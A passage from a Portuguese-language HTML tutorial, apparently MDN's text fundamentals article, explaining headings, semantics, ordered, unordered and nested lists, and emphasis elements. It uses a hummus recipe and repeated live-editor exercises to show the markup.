superior e todos os outros ficam abaixo dele, na hierarquia.\n* Certifique-se de usar os títulos na ordem correta na hierarquia. Não use `<h3>` para representar subtítulos, seguido de `<h2>`para representar sub-subtítulos - isso não faz sentido e levará a resultados estranhos.\n* Dos seis níveis de cabeçalho disponíveis, você deve usar no máximo três por página, a menos que considere necessário usar mais. Documentos com vários níveis (ou seja, uma hierarquia profunda de cabeçalho) tornam-se difíceis de navegar. Nessas ocasiões, é aconselhável espalhar o conteúdo por várias páginas, se possível.\n### Por que precisamos de estrutura?\n\nPara responder a esta pergunta, dê uma olhada em text-start.html — o ponto de partida do nosso exemplo em execução para este artigo (uma boa receita de hummus.) Você deve salvar uma cópia desse arquivo em sua máquina local, pois será necessário para os exercícios posteriores. No momento, o corpo deste documento contém várias partes do conteúdo — elas não são marcadas de forma alguma, mas são separadas por quebras de linha (Enter/Return pressionado para ir para a próxima linha).\n\nNo entanto, quando você abre o documento em seu navegador, você verá que o texto aparece como uma só parte!\n\n![A webpage that shows a wall of unformatted text, because there are no elements on the page to structure it.](/pt-BR/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals/screen_shot_2017-03-29_at_09.20.35.png)\n\nIsso ocorre porque não há elementos para dar a estrutura de conteúdo, então o navegador não sabe o que é um título e o que é um parágrafo. Além disso:\n\n* Os usuários que olham para uma página web tendem a procurar rapidamente conteúdo relevante, muitas vezes apenas lendo os títulos para começar (normalmente passamos um tempo muito curto em uma página web). Se eles não conseguem ver nada útil dentro de alguns segundos, eles provavelmente ficarão frustrados e irão para outro lugar.\n* Os mecanismos de pesquisa que indexam sua página consideram o conteúdo dos títulos como palavras-chave importantes para influenciar os rankings de pesquisa da página. Sem cabeçalhos, sua página irá funcionar mal em termos de SEO (Search Engine Optimization).\n* As pessoas com deficiência visual, muitas vezes, não leem páginas da web; elas escutam-na em vez disso. Isso é feito com um software chamado leitor de tela. Este software fornece formas de obter acesso rápido a determinado conteúdo de texto. Entre as várias técnicas utilizadas, elas fornecem um esboço do documento lendo os títulos, permitindo que seus usuários encontrem as informações que precisam rapidamente. Se os títulos não estiverem disponíveis, eles serão obrigados a ouvir todo o documento lido em voz alta.\n* Para criar um estilo de conteúdo com CSS, ou fazer coisas interessantes com JavaScript, você precisa ter elementos que envolvam o conteúdo relevante, assim CSS/JavaScript pode efetivamente segmentá-lo.\n\nNós, portanto, precisamos dar marcações estruturais ao nosso conteúdo.\n\n### Aprendizagem ativa: Fornecendo nossa estrutura de conteúdo\n\nVamos pular diretamente com um exemplo ao vivo. No exemplo abaixo, adicione elementos ao texto bruto no campo *Entrada* para que ele apareça como um título e dois parágrafos no campo *Saída*.\n\nSe você cometer um erro, você sempre pode reiniciar usando o botão *Resetar*. Se você ficar preso, pressione o botão *Mostrar solução* para ver a resposta.\n```\n\n<h2>Saída ao vivo</h2>\n\n<div class=\"output\" style=\"min-height: 50px;\"></div>\n\n<h2>Código editável</h2>\n<p class=\"a11y-label\">\n  Pressione Esc para afastar o foco da área de código (Tab insere um caractere\n  de tabulação).\n</p>\n\n<textarea id=\"code\" class=\"input\" style=\"min-height: 100px; width: 95%\">\nMinha pequena história: sou policial e meu nome é Trish.\n\nMinhas pernas são feitas de papelão e sou casada com um peixe.</textarea\n>\n\n<div class=\"playable-buttons\">\n  <input id=\"reset\" type=\"button\" value=\"Resetar\" />\n  <input id=\"solution\" type=\"button\" value=\"Mostrar solução\" />\n</div>\n```\n\n\n```\nhtml {\n  font-family: sans-serif;\n}\n\nh2 {\n  font-size: 16px;\n}\n\n.a11y-label {\n  margin: 0;\n  text-align: right;\n  font-size: 0.7rem;\n  width: 98%;\n}\n\nbody {\n  margin: 10px;\n  background: #f5f9fa;\n}\n```\n\n\n```\nvar textarea = document.getElementById(\"code\");\nvar reset = document.getElementById(\"reset\");\nvar solution = document.getElementById(\"solution\");\nvar output = document.querySelector(\".output\");\nvar code = textarea.value;\nvar userEntry = textarea.value;\n\nfunction updateCode() {\n  output.innerHTML = textarea.value;\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  userEntry = textarea.value;\n  solutionEntry = htmlSolution;\n  solution.value = \"Mostrar solução\";\n  updateCode();\n});\n\nsolution.addEventListener(\"click\", function () {\n  if (solution.value === \"Mostrar solução\") {\n    textarea.value = solutionEntry;\n    solution.value = \"Ocultar solução\";\n  } else {\n    textarea.value = userEntry;\n    solution.value = \"Mostrar solução\";\n  }\n  updateCode();\n});\n\nvar htmlSolution =\n  \"<h1>Minha pequena história</h1>\\n<p>Sou policial e meu nome é Trish.</p>\\n<p>Minhas pernas são feitas de papelão e sou casada com um peixe.</p>\";\nvar solutionEntry = htmlSolution;\n\ntextarea.addEventListener(\"input\", updateCode);\nwindow.addEventListener(\"load\", updateCode);\n\n// stop tab key tabbing out of textarea and\n// make it write a tab at the caret position instead\n\ntextarea.onkeydown = function (e) {\n  if (e.keyCode === 9) {\n    e.preventDefault();\n    insertAtCaret(\"\\t\");\n  }\n\n  if (e.keyCode === 27) {\n    textarea.blur();\n  }\n};\n\nfunction insertAtCaret(text) {\n  var scrollPos = textarea.scrollTop;\n  var caretPos = textarea.selectionStart;\n\n  var front = textarea.value.substring(0, caretPos);\n  var back = textarea.value.substring(\n    textarea.selectionEnd,\n    textarea.value.length,\n  );\n  textarea.value = front + text + back;\n  caretPos = caretPos + text.length;\n  textarea.selectionStart = caretPos;\n  textarea.selectionEnd = caretPos;\n  textarea.focus();\n  textarea.scrollTop = scrollPos;\n}\n\n// Update the saved userCode every time the user updates the text area code\n\ntextarea.onkeyup = function () {\n  // We only want to save the state when the user code is being shown,\n  // not the solution, so that solution is not saved over the user code\n  if (solution.value === \"Mostrar solução\") {\n    userEntry = textarea.value;\n  } else {\n    solutionEntry = textarea.value;\n  }\n\n  updateCode();\n};\n```\n\n### Por que precisamos de semântica?\n\nA semântica estã em todos os lugares — contamos com experiência anterior para nos dizer qual é a função dos objetos do dia a dia. Quando vemos algo, sabemos qual será a sua função. Então, por exemplo, esperamos que um semáforo vermelho signifique \"pare\" e um semáforo verde signifique \"ir\". As coisas podem ficar complicadas muito rapidamente se a semântica errada for aplicada (os países usam vermelho para significar \"ir\"? Espero que não).\n\nNa mesma linha, precisamos ter certeza de que estamos usando os elementos corretos, dando ao nosso conteúdo o significado, função ou aparência corretos. Nesse contexto, o elemento `<h1>` (en-US) também é um elemento semântico, que dá o texto que envolve a representação (ou significado) de \"um título de nível superior em sua página\".\n\n\n```html\n<h1>Este é um título de nível superior</h1>\n```\n\n\nPor padrão, o navegador fornecerá um tamanho de fonte grande para torná-lo um cabeçalho (embora você possa estilizá-lo como qualquer coisa que você quiser usando CSS). Mais importante, seu valor semântico será usado de várias maneiras, por exemplo, por mecanismos de pesquisa e leitores de tela (como mencionado acima).\n\nPor outro lado, você pode fazer com que qualquer elemento se pareça um título de nível superior. Considere o seguinte:\n\n\n```html\n<span style=\"font-size: 32px; margin: 21px 0;\"\n >Este é um título de nível superior?</span\n>\n```\n\n\nEste é um elemento `<span>`. Não tem semântica. Você usa-o para agrupar conteúdo quando deseja aplicar o CSS (ou fazer algo com JavaScript) sem dar-lhe nenhum significado extra (você saberá mais sobre isto mais tarde, no curso). Nós aplicamos alguns CSS para fazê-lo parecer um título de nível superior, mas como não tem valor semântico, ele não receberá nenhum dos benefícios extras descritos acima. É uma boa idéia usar o elemento HTML relevante para o trabalho.\n\nListas\n------\n\nAgora voltemos nossa atenção para as listas. As listas estão em toda parte na vida — de sua lista de compras à lista de instruções que você seguiu inconscientemente para chegar à sua casa todos os dias, para as listas das instruções que está seguindo nesses tutoriais! As listas também estão na Web e temos três tipos diferentes para prestarmos atenção.\n\n### Não ordenada\n\nAs listas não ordenadas são usadas para marcar listas de itens para os quais a ordem dos itens não importa — vamos pegar uma lista de compras como um exemplo.\n```\n\nleite\novos\npão\nhomus\n```\n\n\nToda lista desordenada começa com um `<ul>` — isso envolve todos os itens da lista:\n\n\n```html\n<ul>\n  leite\n  ovos\n  pão\n  homus\n</ul>\n```\n\n\nO último passo é envolver cada item da lista em um elemento `<li>` (elemento da lista):\n\n\n```html\n<ul>\n  <li>leite</li>\n  <li>ovos</li>\n  <li>pão</li>\n  <li>homus</li>\n</ul>\n```\n\n\n#### Aprendizagem ativa: Marcando uma lista desordenada\n\nTente editar a amostra, ao vivo, abaixo para criar sua própria lista não ordenada HTML.\n```\n\n<h2>Saída ao vivo</h2>\n\n<div class=\"output\" style=\"min-height: 50px;\"></div>\n\n<h2>Código editável</h2>\n<p class=\"a11y-label\">\n  Pressione Esc para afastar o foco da área de código (Tab insere um caractere\n  de tabulação).\n</p>\n\n<textarea id=\"code\" class=\"input\" style=\"min-height: 100px; width: 95%\">\nleite\novos\npão\nhummus</textarea\n>\n\n<div class=\"playable-buttons\">\n  <input id=\"reset\" type=\"button\" value=\"Resetar\" />\n  <input id=\"solution\" type=\"button\" value=\"Mostrar solução\" />\n</div>\n```\n\n\n```\nhtml {\n  font-family: sans-serif;\n}\n\nh2 {\n  font-size: 16px;\n}\n\n.a11y-label {\n  margin: 0;\n  text-align: right;\n  font-size: 0.7rem;\n  width: 98%;\n}\n\nbody {\n  margin: 10px;\n  background: #f5f9fa;\n}\n```\n\n\n```\nvar textarea = document.getElementById(\"code\");\nvar reset = document.getElementById(\"reset\");\nvar solution = document.getElementById(\"solution\");\nvar output = document.querySelector(\".output\");\nvar code = textarea.value;\nvar userEntry = textarea.value;\n\nfunction updateCode() {\n  output.innerHTML = textarea.value;\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  userEntry = textarea.value;\n  solutionEntry = htmlSolution;\n  solution.value = \"Mostrar solução\";\n  updateCode();\n});\n\nsolution.addEventListener(\"click\", function () {\n  if (solution.value === \"Mostrar solução\") {\n    textarea.value = solutionEntry;\n    solution.value = \"Ocultar solução\";\n  } else {\n    textarea.value = userEntry;\n    solution.value = \"Mostrar solução\";\n  }\n  updateCode();\n});\n\nvar htmlSolution =\n  \"<ul>\\n<li>leite</li>\\n<li>ovos</li>\\n<li>pão</li>\\n<li>hummus</li>\\n</ul>\";\nvar solutionEntry = htmlSolution;\n\ntextarea.addEventListener(\"input\", updateCode);\nwindow.addEventListener(\"load\", updateCode);\n\n// stop tab key tabbing out of textarea and\n// make it write a tab at the caret position instead\n\ntextarea.onkeydown = function (e) {\n  if (e.keyCode === 9) {\n    e.preventDefault();\n    insertAtCaret(\"\\t\");\n  }\n\n  if (e.keyCode === 27) {\n    textarea.blur();\n  }\n};\n\nfunction insertAtCaret(text) {\n  var scrollPos = textarea.scrollTop;\n  var caretPos = textarea.selectionStart;\n\n  var front = textarea.value.substring(0, caretPos);\n  var back = textarea.value.substring(\n    textarea.selectionEnd,\n    textarea.value.length,\n  );\n  textarea.value = front + text + back;\n  caretPos = caretPos + text.length;\n  textarea.selectionStart = caretPos;\n  textarea.selectionEnd = caretPos;\n  textarea.focus();\n  textarea.scrollTop = scrollPos;\n}\n\n// Update the saved userCode every time the user updates the text area code\n\ntextarea.onkeyup = function () {\n  // We only want to save the state when the user code is being shown,\n  // not the solution, so that solution is not saved over the user code\n  if (solution.value === \"Mostrar solução\") {\n    userEntry = textarea.value;\n  } else {\n    solutionEntry = textarea.value;\n  }\n\n  updateCode();\n};\n```\n\n### Ordenada\n\nAs listas ordenadas são listas em que a ordem dos itens é importante — vamos seguir um conjunto de instruções como exemplo:\n```\n\nDirija até o final da estrada\nVire à direita\nVá em frente nas duas primeiras rotatórias\nVire à esquerda na terceira rotatória\nA escola fica à sua direita, a 300 metros da estrada\n```\n\n\nA estrutura de marcação é a mesma das listas não ordenadas, exceto que você deve conter os itens da lista em um elemento `<ol>`, em vez de `<ul>`:\n\n\n```html\n<ol>\n  <li>Dirija até o final da estrada</li>\n  <li>Vire à direita</li>\n  <li>Vá em frente nas duas primeiras rotatórias</li>\n  <li>Vire à esquerda na terceira rotatória</li>\n  <li>A escola fica à sua direita, a 300 metros da estrada</li>\n</ol>\n```\n\n\n#### Aprendizagem ativa: Marcando uma lista ordenada\n\nTente editar a amostra ao vivo abaixo, para criar sua própria lista ordenada por HTML.\n```\n\n<h2>Saída ao vivo</h2>\n\n<div class=\"output\" style=\"min-height: 50px;\"></div>\n\n<h2>Código editável</h2>\n<p class=\"a11y-label\">\n  Pressione Esc para afastar o foco da área de código (Tab insere um caractere\n  de tabulação).\n</p>\n\n<textarea id=\"code\" class=\"input\" style=\"min-height: 200px; width: 95%\">\nDirija até o final da estrada\nVire à direita\nVá em frente nas duas primeiras rotatórias\nVire à esquerda na terceira rotatória\nA escola fica à sua direita, a 300 metros da estrada</textarea\n>\n\n<div class=\"playable-buttons\">\n  <input id=\"reset\" type=\"button\" value=\"Resetar\" />\n  <input id=\"solution\" type=\"button\" value=\"Mostrar solução\" />\n</div>\n```\n\n\n```\nhtml {\n  font-family: sans-serif;\n}\n\nh2 {\n  font-size: 16px;\n}\n\n.a11y-label {\n  margin: 0;\n  text-align: right;\n  font-size: 0.7rem;\n  width: 98%;\n}\n\nbody {\n  margin: 10px;\n  background: #f5f9fa;\n}\n```\n\n\n```\nvar textarea = document.getElementById(\"code\");\nvar reset = document.getElementById(\"reset\");\nvar solution = document.getElementById(\"solution\");\nvar output = document.querySelector(\".output\");\nvar code = textarea.value;\nvar userEntry = textarea.value;\n\nfunction updateCode() {\n  output.innerHTML = textarea.value;\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  userEntry = textarea.value;\n  solutionEntry = htmlSolution;\n  solution.value = \"Mostrar solução\";\n  updateCode();\n});\n\nsolution.addEventListener(\"click\", function () {\n  if (solution.value === \"Mostrar solução\") {\n    textarea.value = solutionEntry;\n    solution.value = \"Ocultar solução\";\n  } else {\n    textarea.value = userEntry;\n    solution.value = \"Mostrar solução\";\n  }\n  updateCode();\n});\n\nvar htmlSolution =\n  \"<ol>\\n<li>Dirija até o final da estrada</li>\\n<li>Vire à direita</li>\\n<li>Vá em frente nas duas primeiras rotatórias</li>\\n<li>Vire à esquerda na terceira rotatória</li>\\n<li>A escola fica à sua direita, a 300 metros da estrada</li>\\n</ol>\";\nvar solutionEntry = htmlSolution;\n\ntextarea.addEventListener(\"input\", updateCode);\nwindow.addEventListener(\"load\", updateCode);\n\n// stop tab key tabbing out of textarea and\n// make it write a tab at the caret position instead\n\ntextarea.onkeydown = function (e) {\n  if (e.keyCode === 9) {\n    e.preventDefault();\n    insertAtCaret(\"\\t\");\n  }\n\n  if (e.keyCode === 27) {\n    textarea.blur();\n  }\n};\n\nfunction insertAtCaret(text) {\n  var scrollPos = textarea.scrollTop;\n  var caretPos = textarea.selectionStart;\n\n  var front = textarea.value.substring(0, caretPos);\n  var back = textarea.value.substring(\n    textarea.selectionEnd,\n    textarea.value.length,\n  );\n  textarea.value = front + text + back;\n  caretPos = caretPos + text.length;\n  textarea.selectionStart = caretPos;\n  textarea.selectionEnd = caretPos;\n  textarea.focus();\n  textarea.scrollTop = scrollPos;\n}\n\n// Update the saved userCode every time the user updates the text area code\n\ntextarea.onkeyup = function () {\n  // We only want to save the state when the user code is being shown,\n  // not the solution, so that solution is not saved over the user code\n  if (solution.value === \"Mostrar solução\") {\n    userEntry = textarea.value;\n  } else {\n    solutionEntry = textarea.value;\n  }\n\n  updateCode();\n};\n```\n\n### Aprendizagem ativa: marcando nossa página de receita\n\nEntão, neste ponto do artigo, você tem todas as informações necessárias para marcar nosso exemplo de página de receita. Você pode optar por salvar uma cópia local do nosso arquivo inicial de text-start.html e fazer o trabalho lá, ou fazê-lo no exemplo editável abaixo. Fazê-lo, localmente, provavelmente será melhor, pois você conseguirá salvar o trabalho que está fazendo. Enquanto que, se o preencher no exemplo editável, ele será perdido na próxima vez que você abrir a página. Ambos têm prós e contras.\n```\n\n<h2>Saída ao vivo</h2>\n\n<div class=\"output\" style=\"min-height: 50px;\"></div>\n\n<h2>Código editável</h2>\n<p class=\"a11y-label\">\n  Pressione Esc para afastar o foco da área de código (Tab insere um caractere\n  de tabulação).\n</p>\n\n<textarea id=\"code\" class=\"input\" style=\"min-height: 200px; width: 95%\">\nReceita rápida de hummus\n\n  Esta receita faz hummus rápido e saboroso, sem mexer. Foi adaptado de várias receitas diferentes que li ao longo dos anos.\n\n  Hummus é uma deliciosa pasta grossa usada fortemente em pratos gregos e do Oriente Médio. É muito saboroso com salada, carnes grelhadas e pães pitta.\n\n  Ingredientes\n\n  1 lata (400g) de grão de bico\n  175g de tahine\n  6 tomates secos\n  Metade de pimenta vermelha\n  Uma pitada de pimenta caiena\n  1 dente de alho\n  Uma pitada de azeite\n\n  Instruções\n\n  Retire a pele do alho e pique\n  Retire todas as sementes e caule da pimenta e pique\n  Adicione todos os ingredientes em um processador de alimentos\n  Processar todos os ingredientes em uma pasta\n  Se você quiser um hummus grosso \"pesado\", processe-o por um curto período de tempo\n  Se você deseja um hummus suave, processe-o por mais tempo\n\n  Para um sabor diferente, você pode tentar misturar uma pequena quantidade de limão e coentro, pimenta, limão e chipotle, harissa e hortelã ou espinafre e queijo feta. Experimente e veja o que funciona para você.\n\n  Armazenamento\n\n  Leve à geladeira o hummus processado em um recipiente fechado. Você poderá usá-lo por cerca de uma semana depois de fazer isso. Se começar a ficar borbulhante, você definitivamente deve descartá-lo.\n\n  Hummus é adequado para congelamento; você pode descongelá-lo e usá-lo dentro de alguns meses.</textarea\n>\n\n<div class=\"playable-buttons\">\n  <input id=\"reset\" type=\"button\" value=\"Resetar\" />\n  <input id=\"solution\" type=\"button\" value=\"Mostrar solução\" />\n</div>\n```\n\n\n```\nhtml {\n  font-family: sans-serif;\n}\n\nh2 {\n  font-size: 16px;\n}\n\n.a11y-label {\n  margin: 0;\n  text-align: right;\n  font-size: 0.7rem;\n  width: 98%;\n}\n\nbody {\n  margin: 10px;\n  background: #f5f9fa;\n}\n```\n\n\n```\nvar textarea = document.getElementById(\"code\");\nvar reset = document.getElementById(\"reset\");\nvar solution = document.getElementById(\"solution\");\nvar output = document.querySelector(\".output\");\nvar code = textarea.value;\nvar userEntry = textarea.value;\n\nfunction updateCode() {\n  output.innerHTML = textarea.value;\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  userEntry = textarea.value;\n  solutionEntry = htmlSolution;\n  solution.value = \"Mostrar solução\";\n  updateCode();\n});\n\nsolution.addEventListener(\"click\", function () {\n  if (solution.value === \"Mostrar solução\") {\n    textarea.value = solutionEntry;\n    solution.value = \"Ocultar solução\";\n  } else {\n    textarea.value = userEntry;\n    solution.value = \"Mostrar solução\";\n  }\n  updateCode();\n});\n\nvar htmlSolution =\n  '<h1>Receita rápida de hummus</h1>\\n\\n<p>Esta receita faz hummus rápido e saboroso, sem mexer. Foi adaptado de várias receitas diferentes que li ao longo dos anos.</p>\\n\\n<p>Hummus é uma deliciosa pasta grossa usada fortemente em pratos gregos e do Oriente Médio. É muito saboroso com salada, carnes grelhadas e pães pitta.</p>\\n\\n<h2>Ingredientes</h2>\\n\\n<ul>\\n<li>1 lata (400g) de grão de bico</li>\\n<li>175g de tahine</li>\\n<li>6 tomates secos</li>\\n<li>Metade de pimenta vermelha</li>\\n<li>Uma pitada de pimenta caiena</li>\\n<li>1 dente de alho</li>\\n<li>Uma pitada de azeite</li>\\n</ul>\\n\\n<h2>Instruções</h2>\\n\\n<ol>\\n<li>Retire a pele do alho e pique</li>\\n<li>Retire todas as sementes e caule da pimenta e pique</li>\\n<li>Adicione todos os ingredientes em um processador de alimentos</li>\\n<li>Processar todos os ingredientes em uma pasta</li>\\n<li>Se você quiser um hummus grosso \"pesado\", processe-o por um curto período de tempo</li>\\n<li>Se você deseja um hummus suave, processe-o por mais tempo</li>\\n</ol>\\n\\n<p>Para um sabor diferente, você pode tentar misturar uma pequena quantidade de limão e coentro, pimenta, limão e chipotle, harissa e hortelã ou espinafre e queijo feta. Experimente e veja o que funciona para você.</p>\\n\\n<h2>Armazenamento</h2>\\n\\n<p>Leve à geladeira o hummus processado em um recipiente fechado. Você poderá usá-lo por cerca de uma semana depois de fazer isso. Se começar a ficar borbulhante, você definitivamente deve descartá-lo.</p>\\n\\n<p>Hummus é adequado para congelamento; você pode descongelá-lo e usá-lo dentro de alguns meses.</p>';\nvar solutionEntry = htmlSolution;\n\ntextarea.addEventListener(\"input\", updateCode);\nwindow.addEventListener(\"load\", updateCode);\n\n// stop tab key tabbing out of textarea and\n// make it write a tab at the caret position instead\n\ntextarea.onkeydown = function (e) {\n  if (e.keyCode === 9) {\n    e.preventDefault();\n    insertAtCaret(\"\\t\");\n  }\n\n  if (e.keyCode === 27) {\n    textarea.blur();\n  }\n};\n\nfunction insertAtCaret(text) {\n  var scrollPos = textarea.scrollTop;\n  var caretPos = textarea.selectionStart;\n\n  var front = textarea.value.substring(0, caretPos);\n  var back = textarea.value.substring(\n    textarea.selectionEnd,\n    textarea.value.length,\n  );\n  textarea.value = front + text + back;\n  caretPos = caretPos + text.length;\n  textarea.selectionStart = caretPos;\n  textarea.selectionEnd = caretPos;\n  textarea.focus();\n  textarea.scrollTop = scrollPos;\n}\n\n// Update the saved userCode every time the user updates the text area code\n\ntextarea.onkeyup = function () {\n  // We only want to save the state when the user code is being shown,\n  // not the solution, so that solution is not saved over the user code\n  if (solution.value === \"Mostrar solução\") {\n    userEntry = textarea.value;\n  } else {\n    solutionEntry = textarea.value;\n  }\n\n  updateCode();\n};\n```\n\n\nSe você ficar preso, você sempre pode pressionar o botão *Mostrar solução*, ou confira nosso exemplo de text-complete.html em nosso repositório Github.\n\n### Aninhando listas\n\nNão há problema em aninhar uma lista dentro de outra. Você pode ter algumas sub-listas abaixo de uma lista de nível superior. Vamos pegar a segunda lista do nosso exemplo de receita:\n\n\n```html\n<ol>\n  <li>Retire a pele do alho e pique</li>\n  <li>Retire todas as sementes e caule da pimenta e pique</li>\n  <li>Adicione todos os ingredientes em um processador de alimentos</li>\n  <li>Processar todos os ingredientes em uma pasta</li>\n  <li>\n    Se você quiser um hummus grosso \"pesado\", processe-o por um curto período de\n    tempo\n  </li>\n  <li>Se você deseja um hummus suave, processe-o por mais tempo</li>\n</ol>\n```\n\n\nUma vez que as duas últimas listas estão intimamente relacionadas com a anterior (elas leem como sub-instruções ou escolhas que se encaixam abaixo dessa lista), pode fazer sentido aninhá-las dentro de sua própria lista desordenada e colocar essa lista dentro da quarta lista. Isso pareceria assim:\n\nComo os dois últimos itens da lista estão intimamente relacionadas (eles são lidos como sub-instruções ou opções que se encaixam abaixo dessa lista), pode fazer sentido aninha-los em sua própria lista não ordenada e colocá-los no quarto item da lista atual. Isso seria assim:\n\n\n```html\n<ol>\n  <li>Retire a pele do alho e pique</li>\n  <li>Retire todas as sementes e caule da pimenta e pique</li>\n  <li>Adicione todos os ingredientes em um processador de alimentos</li>\n  <li>\n    Processar todos os ingredientes em uma pasta\n    <ul>\n      <li>\n        Se você quiser um hummus grosso \"pesado\", processe-o por um curto\n        período de tempo\n      </li>\n      <li>Se você deseja um hummus suave, processe-o por mais tempo</li>\n    </ul>\n  </li>\n</ol>\n```\n\n\nTente voltar ao exemplo de aprendizagem ativo anterior e atualizar a segunda lista como esta aqui.\n\nÊnfase e importância\n--------------------\n\nNa linguagem humana, muitas vezes enfatizamos certas palavras para alterar o significado de uma frase, e muitas vezes queremos marcar certas palavras como importantes ou diferentes de alguma forma. O HTML fornece vários elementos semânticos que nos permitem marcar o conteúdo textual com esses efeitos, e, nesta seção, vamos ver alguns dos mais comuns.\n\n### Ênfase\n\nQuando queremos acrescentar ênfase na linguagem falada, enfatizamos certas palavras, alterando sutilmente o significado do que estamos dizendo. Da mesma forma, em linguagem escrita tendemos a enfatizar as palavras colocando-as em itálico. Por exemplo, as seguintes duas frases têm significados diferentes.\n\nEstou *feliz* que você não chegou *atrasado*.\n\nEstou **feliz** que você não chegou **atrasado**.\n\nA primeira frase parece genuinamente aliviada de que a pessoa não estava atrasada. Em contraste, a segunda parece ser sarcástica ou passiva-agressiva, expressando aborrecimento que a pessoa chegou um pouco atrasada.\n\nEm HTML usamos o elemento de ênfase `<em>` para marcar tais instâncias. Além de tornar o documento mais interessante de ler, estes são reconhecidos pelos leitores de tela e falados em um tom de voz diferente. Os navegadores exibem isso como itálico por padrão, mas você não deve usar esta tag apenas para obter estilo itálico. Para fazer isso, você usaria um elemento `<span>` e alguns CSS, ou talvez um elemento `<i>` (veja abaixo).\n\n\n```html\n<p>Eu estou <em>feliz</em> você não está <em>atrasado</em>.</p>\n```\n\n### Importância\n\nPara enfatizar palavras importantes, tendemos a enfatizá-las na linguagem falada e colocá-la em **negrito** na linguagem escrita. Por exemplo:\n\nEste líquido é **altamente tóxico**.\n\nEu estou contando com você. **Não** se atrase!\n\nEm HTML usamos o elemento `<strong>` (importância) para marcar tais instâncias. Além de tornar o documento mais útil, novamente estes são reconhecidos pelos leitores de tela e falados em um tom de voz diferente. Os navegadores exibem este texto como negrito por padrão, mas você não deve usar esta marca apenas para obter um estilo negrito. Para fazer isso, você usaria um elemento `<span>` e algum CSS, ou talvez um `<b>` (veja abaixo).\n\n\n```html\n<p>Este líquido é <strong>altamente tóxico</strong>.</p>\n\n<p>Estou contando com você. <strong>Não</strong> se atrase!</p>\n```\n\n\nVocê pode aninhar importância e ênfase entre si, se desejar:\n\n\n```html\n<p>\n  Este líquido é <strong>altamente tóxico</strong> - Se você beber,\n  <strong>você pode <em>morrer</em></strong\n >.\n</p>\n```\n\n### Aprendizagem ativa: Vamos ser importantes!\n\nNesta seção de aprendizado ativo, fornecemos um exemplo editável. Nele, gostaríamos que você tentasse adicionar ênfase e importância às palavras que acha que precisam delas, apenas para praticar um pouco.\n```\n\n<h2>Saída ao vivo</h2>\n\n<div class=\"output\" style=\"min-height: 50px;\"></div>\n\n<h2>Código editável</h2>\n<p class=\"a11y-label\">\n  Pressione Esc para afastar o foco da área de código (Tab insere um caractere\n  de tabulação).\n</p>\n\n<textarea id=\"code\" class=\"input\" style=\"min-height: 200px; width: 95%\">\n<h1>Notícia importante</h1>\n<p>No domingo, 9 de janeiro de 2010, uma gangue de góticos foi\n   vista roubando vários gnomos de jardim de um\n   centro comercial no centro de Milwaukee. Eles estavam\n   todos vestindo macacões verdes e chapéus bobos, que\n   pareciam ter a forma de uma baleia. Se alguém\n   tiver alguma informação sobre este incidente, por favor\n   entre em contato com a polícia.</p></textarea\n>\n\n<div class=\"playable-buttons\">\n  <input id=\"reset\" type=\"button\" value=\"Resetar\" />\n  <input id=\"solution\" type=\"button\" value=\"Mostrar solução\" />\n</div>\n```\n\n\n```\nhtml {\n  font-family: sans-serif;\n}\n\nh2 {\n  font-size: 16px;\n}\n\n.a11y-label {\n  margin: 0;\n  text-align: right;\n  font-size: 0.7rem;\n  width: 98%;\n}\n\nbody {\n  margin: 10px;\n  background: #f5f9fa;\n}\n```\n\n\n```\nvar textarea = document.getElementById(\"code\");\nvar reset = document.getElementById(\"reset\");\nvar solution = document.getElementById(\"solution\");\nvar output = document.querySelector(\".output\");\nvar code = textarea.value;\nvar userEntry = textarea.value;\n\nfunction updateCode() {\n  output.innerHTML = textarea.value;\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  userEntry = textarea.value;\n  solutionEntry = htmlSolution;\n  solution.value = \"Mostrar solução\";\n  updateCode();\n});\n\nsolution.addEventListener(\"click\", function () {\n  if (solution.value === \"Mostrar solução\") {\n    textarea.value = solutionEntry;\n    solution.value = \"Ocultar solução\";\n  } else {\n    textarea.value = userEntry;\n    solution.value = \"Mostrar solução\";\n  }\n  updateCode();\n});\n\nvar htmlSolution =\n  \"<h1>Notícia importante</h1>\\n<p>No <strong>domingo, 9 de janeiro de 2010</strong>, uma gangue de <em>góticos</em> foi vista roubando <strong><em>vários</em> gnomos de jardim</strong> de um centro comercial no centro de <strong>Milwaukee</strong>. Eles estavam todos <em>vestindo macacões verdes e chapéus bobos</em>, que pareciam ter a forma de uma baleia. Se alguém tiver <strong>alguma informação</strong> sobre este incidente, por favor entre em contato com a <strong>polícia</strong>.</p>\";\nvar solutionEntry = htmlSolution;\n\ntextarea.addEventListener(\"input\", updateCode);\nwindow.addEventListener(\"load\", updateCode);\n\n// stop tab key tabbing out of textarea and\n// make it write a tab at the caret position instead\n\ntextarea.onkeydown = function (e) {\n  if (e.keyCode === 9) {\n    e.preventDefault();\n    insertAtCaret(\"\\t\");\n  }\n\n  if (e.keyCode === 27) {\n    textarea.blur();\n  }\n};\n\nfunction insertAtCaret(text) {\n  var scrollPos = textarea.scrollTop;\n  var caretPos = textarea.selectionStart;\n\n  var front = textarea.value.substring(0, caretPos);\n  var back = textarea.value.substring(\n    textarea.selectionEnd,\n    textarea.value.length,\n  );\n  textarea.value = front + text + back;\n  caretPos = caretPos + text.length;\n  textarea.selectionStart = caretPos;\n  textarea.selectionEnd = caretPos;\n  textarea.focus();\n  textarea.scrollTop = scrollPos;\n}\n\n// Update the saved userCode every time the user updates the text area code\n\ntextarea.onkeyup = function () {\n  // We only want to save the state when the user code is being shown,\n  // not the solution, so that solution is not saved over the user code\n  if (solution.value === \"Mostrar solução\") {\n    userEntry = textarea.value;\n  } else {\n    solutionEntry = textarea.value;\n  }\n\n  updateCode();\n};\n```\n\n### Itálico, negrito, sublinhado\n\nOs elementos que discutimos até agora têm clara semântica associada. A situação com `<b>`, `<i>`, e com `<u>` (en-US) é um pouco mais complicada. Eles surgiram para que as pessoas pudessem escrever negrito, itálico ou texto sublinhado em uma época em que o CSS ainda era pouco suportado. Elementos como este, que apenas afetam a apresentação e não a semântica, são conhecidos como **elementos de apresentação** e não devem mais ser usados, porque, como já vimos, a semântica é importante para a acessibilidade, SEO, etc.\n\nO HTML5 redefiniu `<b>`, `<i>` e `<u>` com novas funções semânticas um pouco 